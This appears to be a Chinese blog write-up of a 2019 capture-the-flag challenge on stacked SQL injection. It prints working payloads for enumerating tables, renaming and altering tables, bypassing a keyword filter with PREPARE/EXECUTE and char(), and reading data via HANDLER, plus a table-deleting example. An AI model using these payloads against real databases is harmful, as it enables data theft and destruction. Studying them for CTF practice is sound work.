[强网杯 2019]随便注

  • 堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。


  • 题目:

    输入1’报错
    在这里插入图片描述

输入1’ # 正常回显
在这里插入图片描述

试一下1’ or 1=1 # 回显正常
在这里插入图片描述

order by查一下字段
在这里插入图片描述

order by 2#回显正常,order by 3#报错,存在2字段,
在这里插入图片描述

接下来试一下联合查询:1’ union select 1,2#,发现有正则表达式把常用的字段过滤了
在这里插入图片描述

换堆叠注入试一下 1’;show databases;# 成功回显
在这里插入图片描述

接下来就是查询表名 1’;show tables;#
在这里插入图片描述

存在两张表,分别看一下里面的内容

0’;show columns from words;#
在这里插入图片描述

0’;show columns from `1919810931114514`; #(对以数字为表名的表进行操作时,需要加上`符号)

发现里面有flag字段 ,但是因为这里有两张表,回显内容肯定是从words这张表回显的,所以我们要想办法让1919810931114514表里的内容回显,在别的师傅wp里学到的姿势:

方法一:

  1. 将words表改名为word1或者其他名字

  2. 将1919810931114514表改为words表

  3. 在新的words表里插入一列id

  4. 将flag列改名为data

    payload:1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

方法二:预处理语句+堆叠注入

预处理语句使用方式:

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

预定义语句也可以通过变量进行传递:

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->‘select’

payload1:不使用变量

1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#

payload2:使用变量

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

payload3:只是用contact(),不使用char()

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

方法三:使用handler命令读取flag

1';handler `1919810931114514` open;handler `1919810931114514` read first#

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值